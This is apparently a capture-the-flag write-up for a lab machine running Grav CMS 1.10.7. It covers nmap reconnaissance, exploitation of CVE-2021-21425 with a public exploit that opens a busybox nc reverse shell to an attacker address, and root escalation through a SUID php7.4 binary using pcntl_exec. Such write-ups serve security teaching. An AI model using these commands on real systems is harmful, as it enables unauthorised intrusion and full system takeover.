Astronaut
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Astronaut serves a Grav CMS 1.10.7 under/grav-admin. That version is vulnerable to CVE-2021-21425 (arbitrary YAML write leading to command execution), so a public exploit lands a shell aswww-data(CVE-2021-21425). To escalate, the/usr/bin/php7.4binary has the SUID bit: we abuse it withpcntl_exec('/bin/sh', ['-p'])(SUID abuse) and drop to root.
Recon
Initial scan
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Only two ports are open:
ping -c 1 192.168.186.12
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.186.12PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.186.12 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2021-03-17 17:46 grav-admin/
|_SSH is no way in without credentials, so everything points at 80. The http-ls itself hands us the lead: the document root listing shows a grav-admin/ directory.
HTTP - TCP 80
We browse to http://192.168.186.12/grav-admin/ and the Grav welcome screen appears, a flat-file CMS written in PHP (no database: it stores content and configuration in files):

With the technology identified, we need its version and whether it has known vulnerabilities.
Grav CMS - Identifying the vulnerable version
searchsploit lists several entries for Grav CMS 1.10.7, and the first is exactly what we want: an unauthenticated arbitrary YAML write leading to code execution:

GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2) php/webapps/49973.py
GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) php/webapps/49788.rbThat's CVE-2021-21425: Grav's panel exposes a task that lets you write server-side configuration without proper checks; chaining a Scheduler entry with its trigger yields RCE as the web-server user (CVE-2021-21425).
Exploitation
Finding the exploit
Exploit-DB's 49973.py writes the YAML, but searching for an implementation that also chains the trigger turns up a repository dedicated to this CVE:

GitHub
CsEnox/CVE-2021-21425
GravCMS Unauthenticated Arbitrary YAML Write/Update leads to Code Execution (CVE-2021-21425)CVE-2021-21425: RCE in Grav
We use that public exploit by CsEnox, which automates the whole flow: it writes the scheduled task with our command and triggers it. We keep Penelope listening on 22, an egress port the machine allows:
penelope 22and pass a busybox nc reverse shell to the exploit:
wget https://raw.githubusercontent.com/CsEnox/CVE-2021-21425/refs/heads/main/exploit.py
python3 exploit.py -c 'busybox nc 192.168.45.244 22 -e bash' -t http://192.168.186.12/grav-adminThe exploit warns that it creates the file and the task, and that it waits one minute for Grav to run it (it's a scheduled task, not an immediate trigger). After that, the connection lands on the handler (penelope), which also upgrades the shell to a PTY:

[*] Creating File
Scheduled task created for file creation, wait one minute
[*] Running file
Scheduled task created for command, wait one minute
[+] Got reverse shell from gravity~192.168.186.12-Linux-x86_64
www-data@gravity:~/html/grav-admin$ whoami
www-dataWe have a shell as www-data on the host gravity.
Post-exploitation
Privilege escalation: SUID php7.4 binary
The first move on landing is to look for SUID binaries (they run with the owner's privileges, usually root, instead of the caller's). We filter out the snap noise:
find / -perm -4000 2>/dev/null | grep -v snapAmong the usual suspects (su, sudo, passwd, mount...) there's one that shouldn't be there: /usr/bin/php7.4.

www-data@gravity:~/html/grav-admin$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/at
/usr/bin/su
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/php7.4
/usr/bin/gpasswd
www-data@gravity:~/html/grav-admin$ php -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
rootA PHP interpreter with SUID is a direct escalation: PHP can spawn processes, and with the -p flag the child shell keeps the effective UID (root) instead of dropping it. GTFOBins documents exactly this case (SUID abuse):
php -r "pcntl_exec('/bin/sh', ['-p']);"www-data@gravity:~/html/grav-admin$ php -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
rootProof
cat /root/proof.txt && whoami && ip a && hostname
8caf1d2cbe0eb0c6a7b80d89a3c0f827
rootAttack chain
HTTP (80) -- /grav-admin -> Grav CMS 1.10.7
│ CVE-2021-21425 (Arbitrary YAML Write -> RCE)
▼
shell as www-data
│ /usr/bin/php7.4 with SUID bit
│ php -r "pcntl_exec('/bin/sh', ['-p'])"
▼
root (proof.txt)Lessons learned
- Version is everything in a CMS. Grav 1.10.7 ships with CVE-2021-21425; identifying the version and cross-checking it against
searchsploitsolved the initial access with no further enumeration. - Scheduled tasks add latency. The exploit doesn't return the shell instantly: Grav schedules the command and you must wait for it to run. Knowing this avoids thinking the exploit failed.
- An interpreter with SUID is root. PHP, Python or Perl with the SUID bit are immediate escalation; the
-pflag is the key so the child shell doesn't drop the effective UID. No interpreter should be SUID. find / -perm -4000is one of the first steps on Linux. A single out-of-place binary in that list is often the whole escalation.